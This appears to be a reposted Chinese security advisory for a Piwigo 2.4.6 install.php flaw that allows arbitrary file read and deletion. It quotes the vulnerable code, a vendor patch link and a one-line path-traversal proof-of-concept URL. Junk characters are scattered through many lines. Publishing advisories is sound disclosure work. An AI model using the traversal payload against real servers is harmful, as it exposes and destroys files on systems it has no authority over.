Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。

! m6 A5 O& L4 T8 a% XPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
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$ w7 o" z  N+ A- D" `' U$ b& T7 _7 R/install.php:
% g* v3 }: ?7 [9 t, {-------------
: M; }4 Y! j) U+ s1 `9 C113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
114: {
7 ]4 p' |; v8 E3 q7 r115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116:   header('Cache-Control: no-cache, must-revalidate');
- E4 r4 f. ~* B. c6 l0 H1 G8 a3 W117:   header('Pragma: no-cache');
# z  n! z6 I$ K. H6 E- j118:   header('Content-Disposition: attachment; filename="database.inc.php"');
119:   header('Content-Transfer-Encoding: binary');
4 |$ ?( f1 ^1 i+ h" V120:   header('Content-Length: '.filesize($filename));
# b$ }& d$ n7 J( i2 Q9 T6 B% g( j121:   echo file_get_contents($filename);
122:   unlink($filename);
' T( L  E8 t2 {0 O- s6 J1 t123:   exit();
( ~# `  o+ e1 r; k6 M6 F& U' j124: }
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( c7 m4 h! M, `
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.4
           MySQL 5.5.25a

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
" i/ T4 T! |% t/ |                            @zeroscience

7 h8 |) c# y) k* R, r+ hAdvisory ID: ZSL-2013-5127
1 ?) _- P+ T" Z" Q" _' D$ q/ ~Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843

1 r6 |4 N) @) J! V$ u+ X9 j" c15.02.2013
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0 M2 X7 I8 M5 b/ ~' u3 k--
8 u+ H1 G, F: k2 r0 r& Shttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
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